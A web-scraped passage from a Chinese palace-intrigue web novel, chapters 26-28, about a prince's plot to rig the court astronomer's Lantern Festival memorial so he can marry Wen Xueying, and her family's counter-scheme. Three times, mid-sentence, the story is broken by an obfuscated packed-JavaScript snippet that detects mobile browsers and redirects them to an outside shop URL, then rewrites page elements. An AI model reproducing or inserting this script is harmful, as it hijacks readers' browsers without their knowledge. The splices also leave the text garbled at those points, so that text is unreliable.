知道他的打算,闻雪英本该是庆幸的,起码她和闻仲年可以根据靖桓宇的计划做出应对之策,但她顾不上庆幸,他的话令她遍体生寒,毛骨悚然。 勉力压制着心底的震惊恐惧,闻雪英面不改色,强装镇定地问他:“殿下怎会知道我的生辰?” 壬寅年乙卯月乙酉日甲午时,正是她的生辰八字,知道她出生于哪年哪月不要紧,要紧的是靖桓宇为什么连她出生的具体时辰也一清二楚? 李檀和闻仲年也未必能记得住她出生的时辰,也要翻了族谱才能记起。 闻雪英重新细细地打量着他,观察着他说话时的神态语气。 靖桓宇没有立即回答,他犹豫了一瞬,随后抬手轻柔地蹭了蹭她的脸颊,笑道:“傻瓜,你这问的什么话,你我如今的关系,我若连你的生辰都不知道,哪还有脸娶你呢?” 他还是没说他怎么会知道,他犹豫的那一瞬,闻雪英问出这句话的时候,脑中甚至已经预先替他想好了借口:元宵过后内廷司和礼部要开始选秀,年前礼部就已统计完了京都所有适龄女子的生辰八字呈给了钦天监。 靖桓宇说的没错,陛下无论是为自己选妃还是为两个皇子选妃,将来一定是要合过生辰八字的。 他大可以说自己是从礼部呈上去的名录中知道她的生辰八字,但他只是模棱两可地含糊过去。 所以,他是从其他途径知晓此事。 闻雪英不敢去猜想,便也笑笑,做出一副感动至极的模样,再度回以靖桓宇一个温柔羞赧的笑,又担忧道:“只是,这会不会是欺君啊?钦天监的人靠得住吗,万一他背叛了了殿下,将您的谋划向陛下和盘托出,陛下会降罪于殿下的吧?” “你放心。”靖桓宇双手按着她的肩膀,微微低头温和道:“钦天监的监正季洪有把柄在我手上,他不敢不听我的。” 闻雪英欲问他是什么把柄,不过也怕再问下去引起他的怀疑,于是沉默半晌,缓缓点了点头,“希望一切都顺利。” “会的。” 说完这些,靖桓宇便起身打算离开:“我得入宫向父皇复命去了。” 他握了握她的手,低声道:“今天十三了,等过了十五元宵佳节,你就等着赐婚的旨意就是了。” 闻雪英面不改色地“嗯”了一声,再笑意盈盈依依不舍地目送他出了萃华楼。 只是他的身影方从视野中消失,闻雪英骤然冷下了脸。 得跟父亲商议下如何应对了,也不知这些天父亲有没有找到让季洪为他们所用的法子。 娘跟鞠衣还没有回来,闻雪英顾不上等,留了份字条就和琥珀一道匆匆回了闻府。 26. 第 26 章 “你是说,二皇子打算在元宵那日让季洪上书,告诉陛下他命中有灾,唯有迎娶壬寅年乙卯月乙酉日甲午时出生的女子为妻,方能化解?” 闻府,钱晚宁看出闻雪英有事要跟闻仲年说,便将缠人的闻雪洲和闻雪琼带了下去,又吩咐府上奴仆远远守着。 闻仲年听完闻雪英的话,声音不由微微提高了几分。 闻雪英点点头,继续道:“他说了,等过了元宵,我就等着赐婚就是了。” 闻仲年手里正把玩着稍早前闻雪英派人送回来的鼻烟壶,这鼻烟壶出自京都古琅斋,是一家传承不下百年的老字号。 古琅斋的掌柜的最擅制这鼻烟壶,各种材质,各种形状,各种纹样,朝中官员几乎人手一个。 闻仲年也早就想买一个,奈何那东西实在是昂贵无比,闻仲年实在舍不得。 今日女儿送了他一个小巧玲珑精美无比的鼻烟壶,闻仲年简直爱不释手。 只是眼下,他突然觉得这鼻烟壶有些烫手。 沉默半晌后,闻仲年突然起身:“我去翻翻咱们家家谱。” 闻雪英一愣,又拉住他道:“爹,别去了,壬寅年乙卯月乙酉日甲午时,正是我的生辰八字。” 闻仲年面上有惭愧之色,他尴尬一笑道:“爹只记得当年你娘生你时,傍晚用过膳后突然发动,肚子疼了一夜,也将爹给破口大骂了一夜……最后听到你哭声传出来时,爹记得天是亮的,倒是不记得你具体是何时出生的了。” 闻雪英微微挑眉,想也知道当年娘一定骂的极狠。 她不甚在意地摆摆手,失笑道:“无妨,我娘也记不住的。” 记不记得她出生的时辰,爹娘对她的爱都是始终如一的。 “这不是重点,重点是,我们接下来该怎么办?” 闻仲年又坐了回去,将那鼻烟壶小心翼翼地放在书桌上。 他喝了口茶,沉吟道,“若是如此的话,咱们反而更好办了。” 闻雪英不解地看着他。 “元宵那日,季洪不是要上书给陛下?既如此,等到了那日,咱们就想法子让季洪的奏疏里变成我们想要的内容。” 闻雪英不确定道:“可是不知靖桓宇承诺了季洪什么,我上次在宫里看见季洪的女儿与茉阳郡主走得很近。” 闻仲年明白她的意思,他递给女儿一个安心的眼神,接着道:“钦天监的人,可不止一个正使季洪,总之,你安心即可。” 闻仲年好歹也算是当了二十多年的官,平日里虽低调,但不代表他什么手段都没有。 如今既已做了决定,他自会想尽办法达成目的。 闻雪英见他胸有成竹的样子,也跟着放心了不少,现在只等着元宵那日到来吧。 * 宫内,养居殿。 靖渊一手支着额头,闭着眼斜靠在软塌上,面上尽显疲惫之色。 养居殿内此时很安静,所有宫女太监都退到了外头,唯有一个许望筌还侍奉在靖渊身侧。 他正在替靖渊研磨,但也几乎没有发出任何声音。 靖渊抬手揉了揉太阳穴,又挖了挖耳朵,仿佛那些令人头昏脑涨的哭嚎声还在他耳边纠缠不休。 昨夜孙国舅一行连同二皇子从亳州回到了京都,因当时已很晚了,靖渊便没传他们立即进宫。 他原本打算今日一早先见了靖桓宇,再见孙家的人,岂料一大早,宫门刚开,孙国舅便递了请安的折子进来。 靖渊问道:“就他一个?” 许望筌道:“是。” 孙家到底是桓洲的舅家,靖渊虽懒得见他们,但为了桓洲的面子,还是下令见了。 岂料孙国舅一入养居殿,便跪地开始嚎啕大哭,边哭边向靖渊诉苦,说他可怜的老夫老母,说他嫁给陛下多年仍无一子半女的贵妃幼妹,说他们家也不知道是碍了谁的眼,老夫老母被人烧死,他和宫里的妹妹也险些被刺杀,末了祈求靖渊一定要将凶手找出来,五马分尸才足以平息他的愤恨,才对得起周国公夫妇在天之灵。 靖渊根本插不上嘴,就这么任由孙国舅哭嚎了一炷香的时间。 他看着跪在他面前,身穿上好衣料织就出的锦衣华服的孙国舅,眼下一片黯然。 已逝的周国公夫妇以前也是如此,稍有不顺,便会入宫在他面前这么哭上一通。 靖渊真是厌烦极了他们如此做派,但看在紫一和紫鸳姐妹,以及靖桓洲的面子上,他又不能不忍。 好在如今哭嚎的人变成了孙国舅,靖渊倒是不急着下座去扶他起来,且让他先嚎上一阵子。 哭嚎是很累人的,尤其孙国舅如今已年过百半,他又常年养尊处优,身躯较之年轻时明显壮了一倍。 他歇斯底里地嚎了一阵,只觉快要喘不上气来,但坐上皇帝始终不动如山,淡淡凝望,孙国舅只好自己渐渐止了哭声。 “陛下,敬德皇后生前最是孝顺父母,如今臣的父母惨死,敬德皇后泉下有知,不知要如何伤心,还请陛下为臣做主啊!” 靖渊见他说完了,这才吩咐许望筌:“扶国舅起来,赐座。” 许望筌依言照做。 孙国舅起身坐定,靖渊这才缓缓开口:“大哥。” 他用了以前刚迎娶紫一时的称呼,孙国舅许多年不曾听见靖渊如此唤他,细想似乎就是他娶了幼妹紫鸳之后。 想到此,孙国舅心下一喜,连忙道:“陛下如今还愿意叫臣一声大哥,臣心里真是高兴。” 许望筌正好浸了一块湿帕子过来,递给孙国舅擦脸上的汗水,闻言不由一愣,下意识看向了靖渊。 靖渊只微微含笑,面色如常,只目光炯炯地看着孙国舅。 在皇家,亲生的父子兄弟尚以君臣论之,更何况孙国舅只是个外戚。 陛下愿意屈尊称孙国舅为大哥,那是天大的殊荣,孙国舅该做的是起身请罪谢恩,而不是四平八稳地坐着安然受之。 但陛下似乎对孙国舅的反应不怎么在意,或许跟陛下以前也是个普通百姓有关吧。 许望筌看不透靖渊心思,站在一旁悄悄擦拭着方才抚摸孙国舅起身时累出的汗。 孙国舅刚要张嘴,靖渊先一步打断他道:“大哥,岳父岳母的事,朕自有定夺,你放心,朕定不会叫他们白死,一定会严惩凶手。” 孙国舅点了点头,再度开口:“只是……” 靖渊继续打断他道:“岳父岳母当年不嫌弃朕的出生,肯割爱将紫一嫁给朕为妻,后来又替朕照顾着紫一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13297571|137652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、绾灵和桓洲母子三人,朕对岳父岳母亦是不胜感激。” 孙国舅:“……” 这话说起来,孙国舅不由感到几分心虚。其实当年孙家是看不上靖渊的,那时的靖渊,除了一身武功,几乎是毫无分文的,说他是乞丐也不为过。 他们虽算不上什么大富大贵之家,但相比当时的靖渊,已是他遥不可及的门户。 只是没想到这小子最后能够入主皇城,成为天下之主。 孙国舅听他似乎已经忘了当年孙家一开始对他的不待见,大着胆子继续道:“臣想父母若是泉下有知,一定也会感激陛下的挂念。” “只是……”孙国舅说到此处声音又哽咽了几分:“只是二老之前一直念叨着,家里的几个孩子已到了嫁娶之龄,却迄今没个差事……” 许望筌在一旁都听呆了,孙国舅这是在暗示陛下给孙家那些平日里游手好闲的公子哥们赐个官职? 求官都求到陛下面前了,他还真是不把自己当外人! 靖渊自然也听出了他话外之意,他的表情没有什么变化,只道:“孙家乃朕岳家,朕能有今日,自是离不开孙家的。许望筌,传旨下去,国舅积善淳朴,忠孝两全,可承袭国公之位,此后这国公之位,世世代代由孙家子孙承袭,另外二哥便封为安顺侯,亦是世袭罔替。” 靖渊口中的二哥是周国公的另外一子,孙国舅的庶弟。 “臣多谢陛下,只是臣与二弟也没替陛下办什么差事,如此忝居高位实在是汗颜,不如……” 靖渊继续道:“孙斌和孙烨将来自是要承袭爵位的,既然如此的话,另外那几个孩子,朕便都赐封伯爷爵位吧,封号容朕去想想,元宵那天朕一并下旨。” 这一下子,孙家上下所有男丁都得到了爵位,孙国舅本想着利用此事能替家中儿郎求取官职,没想到陛下大手一挥一下子封了这么多爵位。 孙国舅原本的目的未达成,不过眼下的结果也令他喜出望外,满面红光。 陛下今日肯破例大封孙家,以后就有可能会给他们真正的官职。 再不济,等将来桓洲那孩子登基,他们还不是想当什么官便当什么官。 孙国舅这样想着,屁股终于离开凳子,下跪谢恩。 靖渊道免礼,又问道:“难得进宫一次,大哥去南风殿看看紫鸳吧。” 孙国舅正好有事要跟妹妹说,便依言退下,往南风殿而去了。 孙国舅离开,靖渊如释重负地叹了口气,只觉得疲惫极了。 许望筌很是纳闷他堂堂一个帝王,拥有生杀予夺之权,何必在孙国舅面前如此地……许望筌蹙眉思索了一阵,觉得陛下的行为似乎有些微的“委曲求全”之意在里头。 靖渊倒并不觉得委屈,孙家其他人都是些什么德行,他一早看得清清楚楚,否则也不会只让他们领着虚衔。 这两年孙家的人属实开始得寸进尺了,但到底不曾犯下大错,他轻易也不能开罪孙家。 再者为了贵妃和桓洲的面子,还有死去的紫一,有些时候能忍他就忍了。 有小太监这时走了进来,道:“陛下,二皇子殿下求见。” “让他进来吧。”靖渊又打起精神,准备听听桓宇去亳州都查到了些什么。 27. 第 27 章 “儿臣给父皇请安,父皇万岁万岁万万岁!” 面对自己的儿子,靖渊的态度明显热络起来,他从塌上下了地,亲自弯腰扶起靖桓宇,细细打量两眼方用慈爱的语气道:“瘦了。” 靖桓宇道:“多日不见,父皇也清减了,可是东南那边的战事不顺?” 大周初立,大部分战事皆已停歇,除了负隅顽抗的李朝余党,周边那些曾经因为中原战乱而蠢蠢欲动的各小国皆偃旗息鼓,唯有东南方向的瀛国,靖渊始终未曾将那里的军队撤回。 倒不是靖渊好战,实在是中原二十多年的战火绵延,与那狼子野心的瀛国脱不了干系。 李朝末代皇帝固然昏庸无道,听信奸臣之言,肆意压榨百姓,使得各地军侯纷纷起义,百姓民不聊生。但那瀛国趁中原内乱之时伺机侵入,凌虐中原百姓,抢夺中原物资,这是令人无法原谅的行为。 是以东南边陲,一直有靖渊派出的军队,靖渊势要将瀛国打到完全臣服为止。 靖桓宇知道他如今心头的大事唯有瀛国战事,见他神情略有憔悴,便猜测是战事不顺。 靖渊摆手道:“瀛国的战事一切顺利,前几日朕才收到你姐姐传回的军报,最迟年底,大军便可班师回朝了。” 靖桓宇微笑,面上露出羡慕钦佩之情,语气生了几分向往之意:“长姐骁勇善战,桓宇佩服。” 提起那个能披甲挂帅,上阵杀敌的长女,靖渊眼底的慈爱之意都多了几分。 说起来,他有两个儿子,可这两个儿子的本事都比不上唯一的女儿,靖渊时常想着,若是女儿是儿子便好了,那么对于立太子一事,他也不必在桓洲和桓宇之间摇摆不定了。 靖渊想了一阵,也就回了神,问靖桓宇:“说说吧,亳州那边到底出了什么事?” 靖桓宇的说辞和他信上告诉闻雪英的大体一致,只是补充了更多细节,比如仵作查验出,孙家老宅里的人在失火之前就已经死了。 靖渊道:“怎么死的?” 靖桓宇道:“儿臣无能,尸体皆损毁严重,仵作初步判断他们可能是中毒而亡,只是到底是中了何毒,毒又是如何下的,儿臣始终没有查到什么眉目。” 靖渊不由蹙眉,想想也是,尸体估计都烧成焦炭了,真想从尸体上查到什么也是难如登天。 至于那个有着京都口音的男子,想找到他怕也无疑于大海捞针。 靖桓宇继续道:“不过,有件事儿臣一直觉得奇怪,不知道与孙家老宅失火一事是否有关联。” 靖渊道:“你且说来听听。” “儿臣想,以周国公夫妇的身份,他们应当不会与人结怨,凶手不一定是冲着他们二老去的,故到了亳州后,儿臣便着意查探了其他奴仆们的生平信息,这一查,儿臣便发现了奇怪的事。” “就在孙家老宅失火的翌日,亳州城内还发生了三起灭门惨案,那三家人,恰好是孙家三名老仆各自的家人。” 这事的确可疑,靖渊手指缓缓敲击着桌面,问靖桓宇那三名老仆的身份,靖桓宇继续禀报:“那三名老仆分别是敬德母后幼时的两名乳娘,还有一个是大哥出生时负责接生的稳婆。” 紫一幼时的乳娘和替紫一接生的稳婆? 靖渊微微一愣,眯着眼睛回想半晌,那稳婆许是孙家后来另找的,桓洲出生时他不在身边,没见过这稳婆。 那两名乳娘他倒是隐隐有些印象,若他没记错的话,那两名乳娘一人姓杜,一人姓马。 靖桓宇回道:“父皇记得没错,那被灭门的三家中,的确有一家姓杜,一家姓马……只是,儿臣不明白,这乳娘和稳婆能与人结下什么仇?以至于三家二十几口人悉数被杀。” “你是怀疑,凶手其实真正想杀的人,是那两个乳娘和那稳婆?”靖渊觉得这个可能性很是离谱,但细想下来似乎唯有这个解释比较合理一些。 靖桓宇没有立即回答,他犹豫了一阵,皱眉道:“儿臣也不知,若凶手真正要除掉的人是乳娘和稳婆,原因是什么?还有那伙意图刺杀孙国舅的刺客又作何解释?儿臣还听说,孙母妃在宫中也险些遭遇不测,将这些事情全部连起来,儿臣不仅猜测,是不是孙家人以及孙家的奴仆无意中知道了什么不为人知的秘密?” “不为人知的秘密……” 靖渊呢喃着这句话,不由想起几日前被他扔到火盆里的那张字条:为着殿下大业着想,需尽快除掉贵妃。 靖渊这几日一直在想,那张字条上的“殿下”,指的是他哪个儿子? 所谓的大业,又指的是什么。 其实皇子所能谋划的大业无非就是养居殿的这把龙椅,但一牵扯到贵妃,靖渊就百思不得其解,贵妃与皇子的大业有什么关系? 贵妃遇刺一事,靖渊已经下旨让刑部侍郎入宫查了,只是迟迟没有消息,原想着等换宇从亳州能带回什么好消息,如今看来也是枉然。 靖渊深吸一口气,问道:“你是觉得孙家的人知道什么秘密?” 靖桓宇道:“这也只是儿臣的猜测罢了,究竟内情如何,恐怕还是得继续查。” 说到此处,靖桓宇一拱手,道:“儿臣毕竟不擅于查案,父皇还是将此事交给刑部和大理寺负责吧。” 靖渊心下沉吟,这事涉及孙家,涉及贵妃,必然不能就此了结,刑部和大理寺的确更适合去查这件事。 这事不能拖,靖渊当下就命人出宫去传刑部和大理寺的官员入宫,趁着靖桓宇还在,将亳州查到的线索告诉两部官员,接下来便由刑部和大理寺接手此事。 * 一晃就到了元宵这日,闻雪英天不亮就醒了过来,即便此时距离入宫的还有很长一段时间。 今夜戌时,洪庆帝要带着两个皇子登临城楼,与万民齐贺元宵。 届时朝廷官员必定陪同在侧,两边的城墙上也给官员家眷们预留了观赏元宵灯会的位置,到时候场面必定热闹。 不管到时候发生了何事,必定是顷刻间便会传得人尽皆知。 闻雪英和闻仲年便打算在今夜冒险堵一把,靖桓宇也是。 天色很快暗了下来,城楼上的灯火亮了起来。 洪庆帝人还未到,城楼下乌泱泱已经聚满了仰头凝望城楼的,等着一睹洪庆帝真容的百姓。 闻雪英已经站在了两侧的城楼上,与其他官员家眷们挤在一处。 周身是吵嚷不绝的鞭炮声和说话声,鼻尖萦绕着火药味和难以分辨的各种体香味,众人聚在一处,即便是寒冬里的夜晚,亦感觉不到冷意,闻雪英目光随意一扫,身边的几个妇人小姐鼻尖甚至还冒出了细密的汗珠,但她的身体却止不住地发抖。 蜷缩在袖子里的双手紧紧握成拳,闻雪英不由看向了主城楼,此刻那里还空无一人,但过不了多久,洪庆帝就会出现在那里,到时,季洪便会当众向洪庆帝上书…… 顺利的话,她能“逼”得洪庆帝非娶她不可,若是不顺利…… 眼角余光瞥见了城楼另一侧刚停下的马车,那是二皇子府的马车,若是不顺利的话,闻雪英闭了闭眼,尽量不去设想不顺利的后果。 * 城楼另一侧,靖桓宇身后跟着常立常行,主仆三人沿着城楼的阶梯缓缓而上。 外头百姓欢呼的声音将靖桓宇几乎盖过他道:“季洪人来了吗?” 常立迟疑片刻,道:“来是来了,只是……” 靖桓宇听他说话吞吞吐吐,心下顿生不好的预感,他蹙眉,回头居高临下地看着常立,周身冷冽的氛围让常立不由得吞了口唾沫。 常立听他淡淡问道:“季洪怎么了?” 常立道:“季大人不知昨日怎么感染了风寒,哑了声音,说不出话来了。” 靖桓宇牙根紧咬,眼底闪过一抹狠厉,常立见状忙道:“不过季大人说了,殿下不必担心,即便他暂时不能说话,殿下交代的事,他也一定会为殿下办妥。” 靖桓宇寒声道:“他最好如此,否则别怪我心狠手辣。” 话落常立眼角忍不住一抽,脑中闪过一些鲜红的画面。 身边常行推了他一把,疑惑道:“想什么呢?殿下走远了。” 常立回神,果然眼前已不见靖桓宇身影,他忙提步而上。 常行压低了声音好奇道:“你从亳州回来后就怪怪的,亳州到底发生了什么事?” 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321721|137652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话常行这两天问过他好几次了,他也有好几次想着不如就告诉他吧,告诉他,起码这事就不用压在他一个人的心里,由他一个人来承担,可常立转念一想,自己在亳州为殿下做的那些事,还好不要有第三个人知道的好。 想到此处,常立边大步跨上台阶便回头瞪常行一眼,警告道:“少废话,此地人多眼杂,护好殿下。” 常行看着他的后脑勺,不满地“哼”了一声,心说不愿说就不愿说吧,下次轮到他跟着殿下去外地,回来后他也不告诉常立发生了什么。 靖桓宇登上城楼后,一眼就看见了站在人群当中的闻雪英。她披着一件白色的斗篷,帽兜罩在头上,露出了那张令他这些日子魂牵梦萦的一张脸来。 只是梦里的那种脸,总是含着深深的忧伤,且很少对他绽开笑意;要么就是含着狰狞的恨意,拿着匕首毫不犹豫地朝他身体里刺了进去。 不像现在,对面的女子接收到自己的视线后,含羞带怯地冲他一笑。 靖桓宇亦嘴角含笑,对她无声道:“放心。” 对面的雪英看似在笑,实则咬牙切齿,恨不能再拿匕首刺他一回,不过再有一回的话,她一定要看准了他心口的位置去扎。 不多时,城楼那一侧响起了一阵车轮滚动声和禁军侍卫们整齐划一的脚步声。 楼下的百姓们还在欢呼雀跃,楼上的官员及各自家眷纷纷住了声,屏息凝神等待龙辇里的人出来。 小太监搬来垫脚的凳子放稳,许望筌随即走到龙辇跟前,躬身道:“陛下,咱们到了。” 话落,头戴通天冠,身着玄衣纁裳的洪庆帝便掀开了车帘走了出来,姿态从容地下了地。 城楼上所有人都跪了下去,常立常行也跪了下去,跪下去后却发现他们的主子还直愣愣地站着。 常立顾不得主仆之分,伸手扯了扯靖桓宇的衣摆。 靖桓宇回过神来,跪了下去。 常立常行跪在靖桓宇身后两侧,他二人悄悄抬头往前一看,虽只看到自家主子的侧脸,却也能察觉到他脸上的铁青,以及他周身突然散发出的冷峻气息,二人正暗自疑惑着,便见陛下已经登上了城楼,大皇子跟在陛下身后一同走了上来,受了百官们的跪拜。 常立恍然大悟,难怪殿下会突然变了脸色,大皇子没有同殿下一样提前来到城楼恭候圣驾,而是跟着陛下一起来了,殿下定是因为这个生气。 同样都是皇子,一个便先到了城楼,同其他官员一起等待圣驾到来,另一个却有特殊的礼遇,可随圣驾一起驾临。 靖桓宇垂眸,心中的不满叫他对靖桓洲的恨意不由加深,父皇对他的大儿子,可真是有够偏心的。 靖桓宇生母早逝,自有记忆以来,身边照顾他的都是些奴仆下人,他自小便知道父皇是他唯一的亲人。 后来渐渐大了,父皇告诉他,亳州还有一个比他大上两岁的兄长。父皇说,等以后时机成熟了,他会将兄长也接来,一家子团聚,到时候便让他跟兄长一起习武学文。 当时的靖桓宇很是期待能早日见到这个兄长,但后来兄长迟迟未见到,兄长的同胞姐姐却千里迢迢,孤身一人来到了父皇的军营里。 那年他六岁,长姐十二岁。 这个长姐一来就吸引了父皇几乎所有的注意力,无论父皇的军务有多忙,他每日依旧会抽出时间教授长姐武艺骑射,教授她兵法谋略。 这些东西,靖桓宇开蒙以后也在学,不过他的师傅并不是父皇本人,只有长姐才有父皇亲自教导的待遇。 他也曾试着想让父皇亲自教授他,但父皇却说:“你姐姐自小不在我身边长大,如今她来了,为父自然要多陪陪她,桓宇乖,让你的师傅们教你吧。” 不可否认,父皇给他挑的几个师傅,皆是父皇麾下的能手。 六岁的靖桓宇乖乖点了头,可一转身,他就忍不住想,自小未在父皇身边长大的姐姐能得父皇如此看重,那么那个兄长呢? 等兄长有朝一日也来到父皇身边,父皇对他是不是还要更好? 到那时,父皇心里还能有自己的位置吗? 那是他第一次对自己的将来产生了危机之感。 28. 第 28 章 “众位爱卿平身。” 洪庆帝的声音将靖桓宇自遥远的记忆中拉回,他起身抬头,眼底的冷意消失,面上是对父亲和兄长恭顺敬爱的笑。 旁边的禁军敲响几声擂鼓,告诉楼下百姓圣驾已到,吵嚷喧闹声停歇,所有百姓翘首凝望城楼。 靖渊往前几步,站在城楼边缘,垂首看着楼下正在仰望他的百姓。 这是他的子民。 今日能进到这里一睹天颜的百姓,其实都是经过礼部提前挑选的,也有人早早就教过他们见了天子如何跪拜。 此时鼓声再一响,下头的百姓们便跪了下去,山呼万岁之声霎时响彻天际。 百姓们拜过天子之后,随着鼓声引导起身,这时满城的烟花也随之爆开,冬日的夜晚被烟花照亮恍如白昼。 靖渊心情大好,脸上难得露出了欢快的笑意。 他这一笑,负责此次元宵灯会的官员也跟着笑,可见自己的差事办的入了陛下的眼。 就在洪庆帝与百官万民一同观赏烟花之时,钦天监监正季洪正气喘吁吁地爬着午门侧边的楼梯。 他身边跟着钦天监的副使张维。 张维小心翼翼地扶着季洪,低声劝道:“大人,您到底是看出了什么,这么着急禀报陛下?” 季洪手里捧着一封奏疏,闻言没有回答,只是费力地抬起脚再攀上一个阶梯。 张维目光一闪,悄悄将腿伸到季洪脚下,季洪的确受了风寒,此刻本就头晕目眩,他没有看见张维将腿伸了过来,一时不察,四肢朝地就倒了下去,手中的奏疏也掉落下来。 季洪忙伸手去捡,但好巧不巧,奏疏此刻像是长了腿,竟顺着阶梯滑了下去。 张维见状忙道:“大人在此处稍待,下官去捡。” 话落张维就“噔噔噔”跑了下去,捡起奏疏回头又往上爬,他年轻力壮,又无病症,几乎是几息之间就又爬到了季洪跟前,将粘了些土粒的奏疏递给季洪。 “大人,给。” 季洪抬手擦了擦额头的虚汗,伸手接过后将上面的土粒掸掉。 张维在一旁,目光转也不转地看着他。 片刻后,季洪缓了些力气,再度起身朝上走,张维轻轻吁出一口气,继续扶着他往上。 午门之上,许望筌走至靖渊身后,低声禀报:“陛下,钦天监监正季洪大人求见,说是有要事禀报。” 靖渊还没出声,靖桓宇便道:“季大人一定是测出了祥瑞之兆,特意来向父皇报喜的。” 当皇帝的,自然乐意听到祥瑞,靖渊也不例外,他当下一挑眉,朗声道:“让他过来,朕听听是什么祥瑞。” 季洪与张维两人在太监的引领下来到了靖渊跟前,周遭的官员也将视线投了过来。 闻仲年身为丞相,离靖渊的距离很近,别人都在看着季洪,闻仲年却将目光落在了张维脸上,张维回他一个只有他能看懂的眼神,闻仲年便安了心,又看了眼对面站在女眷当中的闻雪英。 闻雪英咽了口唾沫,心下更紧张了。 待季洪和张维行过礼后,靖渊便问道:“季卿,听说你观出了祥瑞天象?” 季洪今晨起来嗓子发哑,即便是在靖渊跟前也难出声,好在他将要说的话都写在了奏疏了,只要有人念出来就是了。 于是他便将手中奏疏往前一递,站在他身侧的张维这时开口:“启禀陛下,季大人昨夜偶感风寒,哑了嗓子,暂时不能言语了。” 靖渊关切道:“季卿要注意身体,切莫太过操劳。” 季洪说不出话,便再度弯了弯腰,以示谢恩。 见靖渊迟迟没接过季洪的奏疏,靖桓宇忍不住上前道:“父皇,不如看看季大人带来了什么好消息,此刻百官与万民皆在,正好让大家也高兴高兴。” 季洪的表情并不像是测出了祥瑞之兆的模样,不过张维也说了,季洪生了病,想来是身体不适的缘故,他的脸色才那么难看。 况且靖桓宇说出此刻便宣读这祥瑞之兆的提议时,季洪并未阻拦,想来那奏疏上所写,即便不是祥瑞之兆,也必不是不可让天下人知晓的事。 靖渊沉吟片刻,指一指许望筌,“你念来听听。” 许望筌应是,上前接过季洪手上的奏疏,打开边看边念:“陛下万安,微臣季洪谨奏,臣昨夜夜观天象,见南斗天府星…… 他刚念到这,晕晕乎乎的季洪便是浑身一震,本就有些干涩的喉咙顿时如火烧火燎一般。 他的奏疏不是这样写的啊…… “微臣见南斗天府星明亮闪烁,且周遭有各路星宿齐聚,呈众星捧月之态,实为罕见……” 季洪不由偷偷瞥了一眼靖桓宇,靖桓宇倒是还没发现异常,钦天监的奏疏说白了就是胡乱套个不常见的天象,再生拉硬拽地往当权者想听到的话上凑。 什么天府星地府星的,靖桓宇不甚了解,但季洪最后必定将话拉到他和闻雪英身上。 然而许望筌念到此处,不由停顿片刻,下意识朝着靖渊的方向看了过来。 靖渊一愣,莫名道:“怎么了?” 许望筌的表情说不上是什么,他的目光又转回奏疏上,继续念道:“各路星宿齐聚天府星周围,又如百鸟朝凤之象,此乃吉兆,预示着有贤良淑德,才貌双全之女子,可当后位,为陛下招来祥瑞,国运长隆。臣连夜卜卦测算,得出这女子生辰乃是壬寅年乙卯月乙酉日甲午时,正是此次礼部呈递入内廷的秀女。” 靖桓宇愣住了。 季洪的奏疏上压根不是按照他的意思所写,他顾不得人多眼杂,斜眼朝季洪看了过去,而季洪不知是身体终于熬到了极点,还是感觉到了靖桓宇眼神里的杀意,他“嘭”的一声倒地了。 张维“哎”了一声,忙道:“陛下,季大人晕过去了。” 靖渊也还没回过神,季洪奏疏上的意思是,此次秀女当中,有一生于壬寅年乙卯月乙酉日甲午时的女子有皇后命格? 他下意识就觉得此事有怪异之处,然而还没来得及细想,季洪晕过去了,周遭官员们也开始窃窃私语起来。 “壬寅年乙卯月乙酉日,这女子快十九岁了。” “出生于德明四十七年三月二十八日,不知是哪位大人的千金啊?” “十九岁的话,说不定这女子已经嫁人生子了,季大人莫不是卜错了吧?” “……” 十九岁,对于寻常女子来说,的确是已经嫁人生子了,但闻雪英不同,小的时候李檀就同她说过,嫁人不宜太早,所以她算得上是京都官家千金里难得的老姑娘。 就在大臣们私下低声议论之时,内廷司总管冯诚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426351|137652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 犹豫着上前,道:“陛下,秀女名册,奴才前几日粗略地看了了一遍,这壬寅年乙卯月乙酉日甲午时出生的女子,的确有那么一个。” 所有人的目光又转向冯诚,靖渊眉峰微动,双手插腰,斜眼瞪向冯诚:“你有过目不忘的本领?” 许望筌也看向他道:“是啊,冯公公莫不是看错了吧,天下哪有这么巧的事。” 冯诚尴尬一笑,道:“陛下说笑了,奴才只是对秀女中年长的几位有些印象,且许公公还别不信,这事还真就巧的很。” 年前陛下不是说了么,秀女的年龄不得低于十六岁,却是没说上限是多少岁,礼部便将京都无有婚约的十六岁以上的女子名录整理成册,呈交内廷司。 有了年龄限制,秀女的人数其实少的可怜,与前朝选秀时几千人的数量相比,此次年龄上合适,又未嫁过人的,总共才三百二十人。 除去一些身患疾病的,最终有资格参选的也就一百多人,其中年逾十八岁的更是屈指可数。 